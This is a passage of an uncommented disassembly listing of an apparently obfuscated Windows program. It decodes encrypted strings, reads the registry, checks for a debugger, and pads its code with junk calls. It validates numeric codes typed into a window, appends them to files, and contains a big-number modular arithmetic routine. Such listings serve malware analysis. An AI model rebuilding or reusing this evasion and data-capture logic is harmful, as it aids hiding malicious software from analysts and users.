		and	[ebp+var_360], 0
		mov	[ebp+var_364], 64h
		push	45h		; Size
		push	offset aZAgJIsJZAigGzi ; "‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§ˆ—¡¦¦±º ‚±¦§½"...
		call	sub_40129C
		lea	edi, [ebp+var_360]
		push	edi		; lpType
		lea	edi, [ebp+var_364]
		push	edi		; lpcbData
		lea	edi, [ebp+Format]
		push	edi		; lpData
		lea	edi, [ebp+Dest]
		push	edi		; lpValueName
		push	eax		; lpSubKey
		push	80000002h	; hKey
		call	sub_4014C9
		call	GetLastError
		push	1		; Size
		push	offset byte_446B6F ; Src
		call	sub_40129C
		push	eax		; Source
		lea	edi, [ebp+Format]
		push	edi		; Format
		call	sub_4037CA
		lea	edi, [ebp+var_7AA]
		lea	esi, dword_446A6C
		movsd
		movsd
		push	1		; Size
		push	offset byte_446B6D ; Src
		call	sub_40129C
		push	eax		; Source
		lea	edi, [ebp+Dest]
		push	edi		; Format
		call	sub_4037CA
		call	GetTickCount	; GetTickCount
		mov	ax, word_446A74
		mov	[ebp+var_7AC], ax
		push	17h		; Size
		push	offset byte_446B55 ; Src
		call	sub_40129C
		lea	edi, [ebp+Format]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+SubKey]
		push	edi		; Dest
		call	sprintf	; sprintf
		lea	edi, [ebp+var_7AF]
		lea	esi, word_446A76
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_360]
		push	eax		; lpType
		lea	eax, [ebp+var_364]
		push	eax		; lpcbData
		lea	eax, [ebp+var_67B]
		push	eax		; lpData
		push	0		; lpValueName
		lea	eax, [ebp+SubKey]
		push	eax		; lpSubKey
		push	80000000h	; hKey
		call	sub_4014C9
		lea	eax, [ebp+var_67B]
		push	eax
		call	sub_40341E
		call	IsDebuggerPresent	; IsDebuggerPresent
		call	sub_403A5F
		mov	[ebp+var_366], 6996h
		movzx	eax, [ebp+var_366]
		imul	eax, 6E78h
		mov	[ebp+var_366], ax
		push	offset sub_408048
		call	sub_407F07
		add	esp, 8Ch
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	0		; dwCreationFlags
		push	0		; lpParameter
		push	offset sub_4098A8 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	CreateThread	; CreateThread
		push	eax		; hObject
		call	CloseHandle	; CloseHandle
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	0		; lpTimerFunc
		mov	eax, dword_43C094
		add	eax, 1EFh
		push	eax		; uElapse
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax		; nIDEvent
		push	dword_41C7BC	; hWnd
		call	SetTimer	; SetTimer
		mov	[ebp+var_367], 0ADh
		add	[ebp+var_367], 1
		jmp	short loc_40B2B0
; ---------------------------------------------------------------------------


loc_40B280:				; CODE XREF: sub_40AA24+89Dj
		lea	edi, [ebp+var_7C3]
		lea	esi, byte_446A79
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+Msg]
		push	eax		; lpMsg
		call	TranslateMessage	; TranslateMessage
		mov	eax, dword_446A7C
		mov	[ebp+var_7C8+1], eax
		lea	eax, [ebp+Msg]
		push	eax		; lpMsg
		call	DispatchMessageA	; DispatchMessageA


loc_40B2B0:				; CODE XREF: sub_40AA24+85Aj
		push	0		; wMsgFilterMax
		push	0		; wMsgFilterMin
		push	0		; hWnd
		lea	eax, [ebp+Msg]
		push	eax		; lpMsg
		call	GetMessageA	; GetMessageA
		or	eax, eax
		jnz	short loc_40B280
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40AA24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40B2CA(HWND	hWnd, UINT Msg,	WPARAM wParam, LPARAM lParam)

sub_40B2CA	proc near		; DATA XREF: sub_408ED0+917o
					; sub_408ED0+94Fo ...

var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_7		= byte ptr -7
var_6		= word ptr -6
lpPrevWndFunc	= dword	ptr -4
hWnd		= dword	ptr  8
Msg		= dword	ptr  0Ch
wParam		= dword	ptr  10h
lParam		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+hWnd]
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	eax, [ebp+Msg]
		cmp	eax, 100h
		jz	short loc_40B2EC
		jmp	short loc_40B35A
; ---------------------------------------------------------------------------
		call	GetVersion	; GetVersion


loc_40B2EC:				; CODE XREF: sub_40B2CA+19j
		call	GetProcessHeap	; GetProcessHeap
		cmp	[ebp+wParam], 9
		jnz	short loc_40B35A
		mov	eax, dword_446A80
		mov	[ebp+var_14], eax
		cmp	ebx, dword_41081C
		jnz	short loc_40B312
		push	dword_432DC0	; hWnd
		call	SetFocus	; SetFocus


loc_40B312:				; CODE XREF: sub_40B2CA+3Bj
		call	GetVersion	; GetVersion
		cmp	ebx, dword_432DC0
		jnz	short loc_40B32A
		push	dword_41E8C4	; hWnd
		call	SetFocus	; SetFocus


loc_40B32A:				; CODE XREF: sub_40B2CA+53j
		call	GetCurrentProcessId	; GetCurrentProcessId
		cmp	ebx, dword_41E8C4
		jnz	short loc_40B342
		push	dword_41E8BC	; hWnd
		call	SetFocus	; SetFocus


loc_40B342:				; CODE XREF: sub_40B2CA+6Bj
		cmp	ebx, dword_41E8BC
		jnz	short loc_40B355
		push	dword_432DC0	; hWnd
		call	SetFocus	; SetFocus


loc_40B355:				; CODE XREF: sub_40B2CA+7Ej
		call	GetProcessHeap	; GetProcessHeap


loc_40B35A:				; CODE XREF: sub_40B2CA+1Bj
					; sub_40B2CA+2Bj
		and	[ebp+lpPrevWndFunc], 0
		cmp	ebx, dword_432DC0
		jnz	short loc_40B36E
		mov	eax, dword_41F9F4
		mov	[ebp+lpPrevWndFunc], eax


loc_40B36E:				; CODE XREF: sub_40B2CA+9Aj
		cmp	ebx, dword_41E8C4
		jnz	short loc_40B37E
		mov	eax, dword_41E8C0
		mov	[ebp+lpPrevWndFunc], eax


loc_40B37E:				; CODE XREF: sub_40B2CA+AAj
		mov	[ebp+var_6], 5304h
		sub	[ebp+var_6], 7ADBh
		cmp	ebx, dword_41081C
		jnz	short loc_40B39A
		mov	eax, dword_40E078
		mov	[ebp+lpPrevWndFunc], eax


loc_40B39A:				; CODE XREF: sub_40B2CA+C6j
		call	GetCurrentProcessId	; GetCurrentProcessId
		cmp	ebx, dword_41E8BC
		jnz	short loc_40B3AF
		mov	eax, dword_413F1C
		mov	[ebp+lpPrevWndFunc], eax


loc_40B3AF:				; CODE XREF: sub_40B2CA+DBj
		lea	edi, [ebp+var_C]
		lea	esi, dword_446A84
		mov	ecx, 5
		rep movsb
		cmp	[ebp+lpPrevWndFunc], 0
		jz	short loc_40B3D9
		push	[ebp+lParam]	; lParam
		push	[ebp+wParam]	; wParam
		push	[ebp+Msg]	; Msg
		push	ebx		; hWnd
		push	[ebp+lpPrevWndFunc] ; lpPrevWndFunc
		call	CallWindowProcA	; CallWindowProcA
		jmp	short loc_40B3E1
; ---------------------------------------------------------------------------


loc_40B3D9:				; CODE XREF: sub_40B2CA+F9j
		mov	[ebp+var_7], 8Bh
		add	[ebp+var_7], 1


loc_40B3E1:				; CODE XREF: sub_40B2CA+10Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40B2CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40B3E8(int,	UINT Msg, HDC wParam, LPARAM lParam)

sub_40B3E8	proc near		; DATA XREF: sub_40AA24+4F0o

var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
plbrush		= LOGBRUSH ptr -254h
hWnd		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
lpText		= dword	ptr -238h
NumberOfBytesWritten= dword ptr	-234h
Buffer		= byte ptr -22Fh
var_130		= byte ptr -130h
var_12B		= byte ptr -12Bh
var_126		= word ptr -126h
var_124		= byte ptr -124h
var_121		= dword	ptr -121h
var_11D		= byte ptr -11Dh
var_11A		= byte ptr -11Ah
var_114		= dword	ptr -114h
hObject		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
String		= byte ptr -100h
var_1		= byte ptr -1
arg_0		= dword	ptr  8
Msg		= dword	ptr  0Ch
wParam		= dword	ptr  10h
lParam		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 264h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0C7h
		add	[ebp+var_1], 1
		mov	eax, [ebp+Msg]
		cmp	eax, 10h
		jz	loc_40B5E9
		jg	short loc_40B418
		cmp	eax, 2
		jz	loc_40B5CE
		jmp	loc_40BC0A
; ---------------------------------------------------------------------------


loc_40B418:				; CODE XREF: sub_40B3E8+20j
		cmp	eax, 111h
		jz	loc_40B709
		cmp	eax, 113h
		jz	short loc_40B453
		cmp	eax, 111h
		jl	loc_40BC0A
		cmp	eax, 138h
		jz	loc_40B605
		jmp	loc_40BC0A
; ---------------------------------------------------------------------------
		mov	[ebp+var_104], 0C5h
		add	[ebp+var_104], 26h


loc_40B453:				; CODE XREF: sub_40B3E8+40j
		mov	[ebp+var_108], 4FC7h
		inc	[ebp+var_108]
		cmp	dword_43C220, 0
		jz	loc_40B57B
		mov	[ebp+lpText], 1930h
		add	[ebp+lpText], 3C79h
		push	9		; Size
		push	offset aRIA	; "»·›¶¾±· "
		call	sub_40129C
		push	eax		; int
		push	dword_43C220	; hWnd
		call	sub_408E12
		mov	[ebp+var_23C], eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	8		; Size
		push	offset aSmdJJ	; "‘¬¤¸»¦±¦"
		call	sub_40129C
		push	eax		; int
		push	[ebp+var_23C]	; hWnd
		call	sub_408E12
		add	esp, 20h
		mov	[ebp+hWnd], eax
		lea	eax, [ebp+plbrush.lbColor]
		push	eax		; lpRect
		push	[ebp+hWnd]	; hWnd
		call	GetWindowRect	; GetWindowRect
		or	eax, eax
		jz	loc_40B57B
		call	GetTickCount	; GetTickCount
		lea	eax, [ebp+var_260]
		push	eax		; lpRect
		push	hWndParent	; hWnd
		call	GetWindowRect	; GetWindowRect
		or	eax, eax
		jz	short loc_40B57B
		call	GetVersion	; GetVersion
		mov	eax, [ebp-248h]
		sub	eax, [ebp+plbrush.lbColor]
		sub	eax, 4
		mov	edx, [ebp+var_258]
		sub	edx, [ebp+var_260]
		cmp	eax, edx
		jnz	short loc_40B540
		mov	eax, [ebp-244h]
		sub	eax, [ebp+plbrush.lbHatch]
		sub	eax, 4
		mov	edx, [ebp+plbrush.lbStyle]
		sub	edx, [ebp+var_25C]
		cmp	eax, edx
		jz	short loc_40B57B


loc_40B540:				; CODE XREF: sub_40B3E8+137j
		call	GetVersion	; GetVersion
		push	1		; bRepaint
		mov	eax, [ebp-244h]
		sub	eax, [ebp+plbrush.lbHatch]
		push	eax		; nHeight
		mov	eax, [ebp-248h]
		sub	eax, [ebp+plbrush.lbColor]
		push	eax		; nWidth
		push	0		; Y
		push	0		; X
		push	hWndParent	; hWnd
		call	MoveWindow	; MoveWindow
		mov	eax, off_446A89
		mov	[ebp+var_264], eax


loc_40B57B:				; CODE XREF: sub_40B3E8+82j
					; sub_40B3E8+F4j ...
		cmp	dword_43C21C, 0
		jz	loc_40BC22
		mov	[ebp+lpText], 5CFDh
		mov	eax, [ebp+lpText]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+lpText], edx
		mov	eax, dword_43C21C
		mov	dword_43C220, eax
		call	GetTickCount	; GetTickCount
		and	dword_43C21C, 0
		push	dword_43C220	; hWnd
		call	sub_408ED0
		pop	ecx
		call	GetProcessHeap	; GetProcessHeap
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B5CE:				; CODE XREF: sub_40B3E8+25j
		mov	eax, dword_41C7BC
		cmp	[ebp+arg_0], eax
		jnz	short loc_40B5DF
		push	0		; nExitCode
		call	PostQuitMessage	; PostQuitMessage


loc_40B5DF:				; CODE XREF: sub_40B3E8+1EEj
		call	GetProcessHeap	; GetProcessHeap
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B5E9:				; CODE XREF: sub_40B3E8+1Aj
		mov	eax, dword_41C7BC
		cmp	[ebp+arg_0], eax
		jnz	short loc_40B5FB
		push	[ebp+arg_0]	; hWnd
		call	DestroyWindow	; DestroyWindow


loc_40B5FB:				; CODE XREF: sub_40B3E8+209j
		call	GetLastError
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B605:				; CODE XREF: sub_40B3E8+52j
		mov	eax, [ebp+lParam]
		mov	[ebp+var_114], eax
		cmp	eax, dword_432DB8
		jz	short loc_40B642
		cmp	eax, dword_413F20
		jz	short loc_40B642
		cmp	eax, dword_41B7A8
		jz	short loc_40B642
		cmp	eax, dword_4351D8
		jz	short loc_40B642
		cmp	eax, dword_432DBC
		jz	short loc_40B642
		cmp	eax, dword_43A558
		jnz	loc_40BC22


loc_40B642:				; CODE XREF: sub_40B3E8+22Cj
					; sub_40B3E8+234j ...
		mov	word ptr [ebp+lpText+2], 75BDh
		movzx	eax, word ptr [ebp+lpText+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+lpText+2], ax
		mov	eax, [ebp+var_114]
		cmp	eax, dword_432DBC
		jz	short loc_40B675
		cmp	eax, dword_43A558
		jnz	short loc_40B684


loc_40B675:				; CODE XREF: sub_40B3E8+283j
		push	1010B0h		; color
		push	[ebp+wParam]	; hdc
		call	SetTextColor	; SetTextColor
		jmp	short loc_40B68E
; ---------------------------------------------------------------------------


loc_40B684:				; CODE XREF: sub_40B3E8+28Bj
		push	0		; color
		push	[ebp+wParam]	; hdc
		call	SetTextColor	; SetTextColor


loc_40B68E:				; CODE XREF: sub_40B3E8+29Aj
		mov	word ptr [ebp+lpText], 64CAh
		movzx	eax, word ptr [ebp+lpText]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+lpText], ax
		push	0FFFFFFh	; color
		push	[ebp+wParam]	; hdc
		call	SetBkColor	; SetBkColor
		mov	byte ptr [ebp+var_23C+3], 5Dh
		sub	byte ptr [ebp+var_23C+3], 0FBh
		and	[ebp+plbrush.lbStyle], 0
		and	[ebp+plbrush.lbColor], 0
		lea	eax, [ebp+plbrush]
		push	eax		; plbrush
		call	CreateBrushIndirect	; CreateBrushIndirect
		mov	[ebp+hWnd], eax
		lea	edi, [ebp-248h]
		lea	esi, byte_446A8D
		movsd
		movsd
		mov	eax, [ebp+hWnd]
		jmp	loc_40BC22
; ---------------------------------------------------------------------------
		call	GetLastError
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B709:				; CODE XREF: sub_40B3E8+35j
		lea	edi, [ebp+var_11A]
		lea	esi, aGjvry	; "gjVRy"
		mov	ecx, 3
		rep movsw
		push	2		; Size
		push	offset word_446B52 ; Src
		call	sub_40129C
		push	offset Format
		push	eax		; Format
		lea	edi, [ebp+Buffer]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 14h
		call	GetProcessHeap	; GetProcessHeap
		push	0FFh		; nMaxCount
		lea	eax, [ebp+String]
		push	eax		; lpString
		push	dword_432DC0	; hWnd
		call	GetWindowTextA	; GetWindowTextA
		call	GetCurrentProcessId	; GetCurrentProcessId
		cmp	[ebp+String], 0
		jnz	short loc_40B79D
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	1Fh		; Size
		push	offset word_446B32 ; Src
		call	sub_40129C
		add	esp, 8
		push	0		; uType
		push	0		; lpCaption
		push	eax		; lpText
		push	0		; hWnd
		call	MessageBoxA	; MessageBoxA
		push	dword_432DC0	; hWnd
		call	SetFocus	; SetFocus
		call	GetProcessHeap	; GetProcessHeap
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B79D:				; CODE XREF: sub_40B3E8+37Ej
		push	5		; Size
		push	offset dword_446B2C ; Src
		call	sub_40129C
		lea	edi, [ebp+String]
		push	edi
		lea	edi, [ebp+Buffer]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+Buffer]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h
		push	0FFh		; nMaxCount
		lea	eax, [ebp+String]
		push	eax		; lpString
		push	dword_41E8C4	; hWnd
		call	GetWindowTextA	; GetWindowTextA
		cmp	[ebp+String], 0
		jnz	short loc_40B822
		call	GetTickCount	; GetTickCount
		push	1Eh		; Size
		push	offset byte_446B0D ; Src
		call	sub_40129C
		add	esp, 8
		push	0		; uType
		push	0		; lpCaption
		push	eax		; lpText
		push	0		; hWnd
		call	MessageBoxA	; MessageBoxA
		mov	eax, dword_446A9B
		mov	[ebp+lpText], eax
		push	dword_41E8C4	; hWnd
		call	SetFocus	; SetFocus
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40B822:				; CODE XREF: sub_40B3E8+3FDj
		push	5		; Size
		push	offset byte_446B07 ; Src
		call	sub_40129C
		lea	edi, [ebp+String]
		push	edi
		lea	edi, [ebp+Buffer]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+Buffer]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h
		call	GetVersion	; GetVersion
		push	0FFh		; nMaxCount
		lea	eax, [ebp+String]
		push	eax		; lpString
		push	dword_41E8BC	; hWnd
		call	GetWindowTextA	; GetWindowTextA
		lea	edi, [ebp+var_11D]
		lea	esi, byte_446A9F
		mov	ecx, 3
		rep movsb
		cmp	[ebp+String], 0
		jz	loc_40B9B8
		mov	[ebp+var_10C], 53E8h
		add	[ebp+var_10C], 3B86h
		lea	ecx, [ebp+String]
		or	eax, 0FFFFFFFFh


loc_40B8A5:				; CODE XREF: sub_40B3E8+4C2j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B8A5
		cmp	eax, 4
		jb	loc_40B9B8
		call	GetLastError
		mov	[ebp+var_102], 0
		jmp	short loc_40B8E5
; ---------------------------------------------------------------------------


loc_40B8C3:				; CODE XREF: sub_40B3E8+516j
		movzx	eax, [ebp+var_102]
		mov	al, [ebp+eax+String]
		cmp	al, 30h
		jl	short loc_40B8D9
		cmp	al, 39h
		jle	short loc_40B8DE


loc_40B8D9:				; CODE XREF: sub_40B3E8+4EBj
		jmp	loc_40B9B8
; ---------------------------------------------------------------------------


loc_40B8DE:				; CODE XREF: sub_40B3E8+4EFj
		add	[ebp+var_102], 1


loc_40B8E5:				; CODE XREF: sub_40B3E8+4D9j
		lea	ecx, [ebp+String]
		or	eax, 0FFFFFFFFh


loc_40B8EE:				; CODE XREF: sub_40B3E8+50Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B8EE
		movzx	esi, [ebp+var_102]
		cmp	esi, eax
		jb	short loc_40B8C3
		call	GetProcessHeap	; GetProcessHeap
		mov	[ebp+var_101], 0
		jmp	loc_40B997
; ---------------------------------------------------------------------------


loc_40B911:				; CODE XREF: sub_40B3E8+5C8j
		mov	byte ptr [ebp+lpText+2], 0EEh
		sub	byte ptr [ebp+lpText+2], 96h
		call	GetLastError
		mov	al, [ebp+var_101]
		mov	byte ptr [ebp+lpText+3], al
		jmp	short loc_40B95B
; ---------------------------------------------------------------------------


loc_40B932:				; CODE XREF: sub_40B3E8+58Cj
		movzx	eax, byte ptr [ebp+lpText+3]
		movsx	eax, [ebp+eax+String]
		movzx	edx, [ebp+var_101]
		movsx	edx, [ebp+edx+String]
		cmp	eax, edx
		jnz	short loc_40B976
		add	byte ptr [ebp+lpText+3], 1


loc_40B95B:				; CODE XREF: sub_40B3E8+548j
		lea	ecx, [ebp+String]
		or	eax, 0FFFFFFFFh


loc_40B964:				; CODE XREF: sub_40B3E8+581j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B964
		movzx	esi, byte ptr [ebp+lpText+3]
		cmp	esi, eax
		jb	short loc_40B932


loc_40B976:				; CODE XREF: sub_40B3E8+56Aj
		call	GetCurrentProcessId	; GetCurrentProcessId
		movzx	eax, byte ptr [ebp+lpText+3]
		movzx	edx, [ebp+var_101]
		sub	eax, edx
		cmp	eax, 3
		jg	short loc_40B9B8
		add	[ebp+var_101], 1


loc_40B997:				; CODE XREF: sub_40B3E8+524j
		lea	ecx, [ebp+String]
		or	eax, 0FFFFFFFFh


loc_40B9A0:				; CODE XREF: sub_40B3E8+5BDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B9A0
		movzx	esi, [ebp+var_101]
		cmp	esi, eax
		jb	loc_40B911
		jmp	short loc_40BA1F
; ---------------------------------------------------------------------------


loc_40B9B8:				; CODE XREF: sub_40B3E8+49Aj
					; sub_40B3E8+4C7j ...
		mov	eax, dword_43C094
		add	eax, 7CBh
		push	eax		; Duration
		call	_sleep	; _sleep
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	35h		; Size
		push	offset byte_446AD1 ; Src
		call	sub_40129C
		mov	[ebp+lpText], eax
		push	13h		; Size
		push	offset byte_446ABD ; Src
		call	sub_40129C
		add	esp, 14h
		push	0		; uType
		push	eax		; lpCaption
		mov	edi, [ebp+lpText]
		push	edi		; lpText
		push	0		; hWnd
		call	MessageBoxA	; MessageBoxA
		call	GetTickCount	; GetTickCount
		push	dword_41E8BC	; hWnd
		call	SetFocus	; SetFocus
		mov	eax, dword_446AA2
		mov	[ebp+var_121], eax
		jmp	loc_40BC22
; ---------------------------------------------------------------------------


loc_40BA1F:				; CODE XREF: sub_40B3E8+5CEj
		push	5		; Size
		push	offset dword_446B2C ; Src
		call	sub_40129C
		lea	edi, [ebp+String]
		push	edi
		lea	edi, [ebp+Buffer]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+Buffer]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 18h
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		push	offset byte_41FA00 ; lpFileName
		call	CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		lea	edi, [ebp+var_124]
		lea	esi, word_446AA6
		mov	ecx, 3
		rep movsb
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		push	[ebp+hObject]	; hFile
		call	SetFilePointer	; SetFilePointer
		call	GetTickCount	; GetTickCount
		lea	ecx, [ebp+Buffer]
		or	eax, 0FFFFFFFFh


loc_40BA9F:				; CODE XREF: sub_40B3E8+6BCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40BA9F
		push	0		; lpOverlapped
		lea	esi, [ebp+NumberOfBytesWritten]
		push	esi		; lpNumberOfBytesWritten
		push	eax		; nNumberOfBytesToWrite
		lea	edi, [ebp+Buffer]
		push	edi		; lpBuffer
		push	[ebp+hObject]	; hFile
		call	WriteFile	; WriteFile
		mov	[ebp+var_103], 87h
		movzx	eax, [ebp+var_103]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_103], al
		push	2		; Size
		push	offset word_446ABA ; Src
		call	sub_40129C
		add	esp, 8
		push	0		; lpOverlapped
		lea	edi, [ebp+NumberOfBytesWritten]
		push	edi		; lpNumberOfBytesWritten
		mov	edi, 14h
		sub	edi, dword_43C098
		push	edi		; nNumberOfBytesToWrite
		push	eax		; lpBuffer
		push	[ebp+hObject]	; hFile
		call	WriteFile	; WriteFile
		mov	ax, word_446AA9
		mov	[ebp+var_126], ax
		push	[ebp+hObject]	; hObject
		call	CloseHandle	; CloseHandle
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	hWndParent	; hWnd
		call	DestroyWindow	; DestroyWindow
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		push	offset FileName	; lpFileName
		call	CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		push	[ebp+hObject]	; hFile
		call	SetFilePointer	; SetFilePointer
		call	GetVersion	; GetVersion
		lea	ecx, Format
		or	eax, 0FFFFFFFFh


loc_40BB77:				; CODE XREF: sub_40B3E8+794j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40BB77
		mov	edi, eax
		push	0		; lpOverlapped
		lea	esi, [ebp+NumberOfBytesWritten]
		push	esi		; lpNumberOfBytesWritten
		push	edi		; nNumberOfBytesToWrite
		push	offset Format	; lpBuffer
		push	[ebp+hObject]	; hFile
		call	WriteFile	; WriteFile
		lea	edi, [ebp+var_12B]
		lea	esi, byte_446AAB
		mov	ecx, 5
		rep movsb
		push	1		; Size
		push	offset byte_446AB8 ; Src
		call	sub_40129C
		add	esp, 8
		push	0		; lpOverlapped
		lea	edi, [ebp+NumberOfBytesWritten]
		push	edi		; lpNumberOfBytesWritten
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi		; nNumberOfBytesToWrite
		push	eax		; lpBuffer
		push	[ebp+hObject]	; hFile
		call	WriteFile	; WriteFile
		push	[ebp+hObject]	; hObject
		call	CloseHandle	; CloseHandle
		push	5		; nCmdShow
		push	hWnd		; hWnd
		call	ShowWindow	; ShowWindow
		lea	edi, [ebp+var_130]
		lea	esi, dword_446AB0
		mov	ecx, 5
		rep movsb
		jmp	short loc_40BC22
; ---------------------------------------------------------------------------


loc_40BC0A:				; CODE XREF: sub_40B3E8+2Bj
					; sub_40B3E8+47j ...
		push	[ebp+lParam]	; lParam
		push	[ebp+wParam]	; wParam
		push	[ebp+Msg]	; Msg
		push	[ebp+arg_0]	; hWnd
		call	DefWindowProcA	; DefWindowProcA
		jmp	short loc_40BC22
; ---------------------------------------------------------------------------
		call	GetTickCount	; GetTickCount


loc_40BC22:				; CODE XREF: sub_40B3E8+19Aj
					; sub_40B3E8+1E1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40B3E8	endp

; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SysAllocString. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION FindFirstUrlCacheEntryA. PRESS KEYPAD "+"	TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION FindNextUrlCacheEntryA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CoCreateInstance.	PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CLSIDFromString. PRESS KEYPAD "+"	TO EXPAND]
		align 8
; [00000006 BYTES: COLLAPSED FUNCTION CoInitialize. PRESS KEYPAD "+" TO	EXPAND]
		db 2 dup(90h)
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CoUninitialize. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC80	proc near		; CODE XREF: sub_408741+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, dword_447B7C
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_40BD4B
		xor	edx, edx


loc_40BCB0:				; CODE XREF: sub_40BC80+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_40BCC2
		mov	edx, [ebp+arg_4]
		call	sub_40BCDC


loc_40BCC2:				; CODE XREF: sub_40BC80+38j
		lea	edx, dword_447B7C
		call	sub_40BCDC
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_40BCB0
		popa
		pop	ebp
		retn	10h
sub_40BC80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40BCDC	proc near		; CODE XREF: sub_40BC80+3Dp
					; sub_40BC80+48p
		lea	edi, dword_447B3C
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, dword_447B7C
		call	sub_40BD4B


loc_40BCF6:				; CODE XREF: sub_40BCDC+5Dj
		lea	edi, dword_447B3C
		mov	ecx, 10h
		xor	eax, eax


loc_40BD03:				; CODE XREF: sub_40BCDC+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_40BD03
		call	sub_40BD5C
		bt	dword_447B7C, ebx
		jnb	short loc_40BD38
		mov	esi, edx
		lea	edi, dword_447B3C
		xor	eax, eax
		mov	ecx, 10h


loc_40BD27:				; CODE XREF: sub_40BCDC+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_40BD27
		call	sub_40BD5C


loc_40BD38:				; CODE XREF: sub_40BCDC+3Aj
		dec	ebx
		jns	short loc_40BCF6
		mov	edi, edx
		lea	esi, dword_447B3C
		mov	ecx, 10h
		rep movsd
		retn
sub_40BCDC	endp


; =============== S U B	R O U T	I N E =======================================



